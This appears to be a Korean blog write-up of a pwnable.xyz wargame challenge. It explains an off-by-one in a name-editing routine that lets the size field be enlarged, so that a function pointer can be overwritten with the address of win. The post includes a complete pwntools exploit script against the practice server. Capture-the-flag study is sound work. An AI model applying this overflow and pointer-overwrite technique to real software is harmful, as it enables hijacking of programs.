이번에도 쉬운 문제다..
이 바이너리는 아래와 같은 구조체를 사용한다.
당연히 catalog의 print_func를 어떤 방법으로 수정하는게 목표일 것이다.
void __cdecl write_name()
{
int i; // [rsp+4h] [rbp-Ch]
catalog *catalog; // [rsp+8h] [rbp-8h]
catalog = (catalog *)malloc(0x30uLL);
for ( i = 0; ::catalog[i]; ++i )
;
::catalog[i] = catalog;
catalog->print_func = print_name;
catalog->size = 32LL;
edit_name(catalog);
catalog->size = strlen(catalog->name);
}
|
void __fastcall edit_name(catalog *catalog)
{
printf("name: ");
read(0, catalog, catalog->size);
}
|
edit_name에서 이름을 수정할 때 길이 제한은 catalog->size이다. 만약 write_name에서 이름을 32바이트 꽉 채워서 쓴다면, name 뒤에 바로 size가 이어지므로 strlen에 의해 저장되는 실제 size 값은 0x21이 된다. 이후에 이름을 수정할 때 0x21 길이의 이름을 입력할 수 있고, size 필드를 조작해 이름 길이를 최대 0xFF로 설정할 수 있다.
길이를 조작한 뒤에는 print_func의 값을 win의 주소값으로 바꿔주면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30023) else : p = process('./challenge') def WriteName(name:bytes) : p.writeafter(b'> ', b'1') p.writeafter(b': ', name) def EditName(index:int, name:bytes) : p.writeafter(b'> ', b'2') p.writeafter(b': ', str(index).encode()) p.writeafter(b': ', name) def PrintName(index:int) : p.writeafter(b'> ', b'3') p.writeafter(b': ', str(index).encode()) def exploit() : WriteName(b'A'*32) EditName(0, b'A'*32 + b'\xFF') EditName(0, b'A'*32 + p64(0xFF) + p64(0x40092C)) # win PrintName(0) p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / executioner (0) | 2020.04.09 |
---|---|
pwnable.xyz / Punch it (0) | 2020.04.09 |
pwnable.xyz / PvP (0) | 2020.04.08 |
pwnable.xyz / bookmark (0) | 2020.04.08 |
pwnable.xyz / attack (0) | 2020.04.08 |